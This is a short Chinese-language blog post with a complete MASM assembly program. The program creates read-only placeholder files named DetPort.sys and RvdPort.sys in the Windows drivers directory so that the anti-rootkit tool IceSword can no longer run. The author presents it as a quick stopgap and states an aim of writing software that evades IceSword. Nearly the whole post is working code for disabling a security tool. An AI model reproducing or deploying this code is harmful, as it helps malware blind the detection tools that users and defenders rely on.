這個(gè)東西沒(méi)有什么技術(shù)含量的,用來(lái)緩急用的,運行后,以后就無(wú)法運行IceSword了,如果要使用IceSword,你必須刪除\drivers\目錄下的DetPort.sys或RvdPort.sys,最近在學(xué)習Ring0,爭取寫(xiě)個(gè)能躲過(guò)Icesword的程序。
;by Immlep
;http://immlep.blogone.net
;飛走的昨天,就像愛(ài)和傷已沒(méi)有界限
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
.data
hfile dd 0
drive1 db ‘\drivers\DetPort.sys‘,0
drive2 db ‘\drivers\RvdPort.sys‘,0
format db "%s%s",0
buf db 50 dup(0)
drive db 80 dup(0)
.code
start:
invoke GetSystemDirectory,addr buf,sizeof buf
invoke wsprintf,addr drive,addr format,addr buf,addr drive1
invoke CreateFile,addr drive,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_NEW,FILE_ATTRIBUTE_READONLY,hfile
invoke wsprintf,addr drive,addr format,addr buf,addr drive2
invoke CreateFile,addr drive,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_NEW,FILE_ATTRIBUTE_READONLY,hfile
invoke ExitProcess,NULL
end start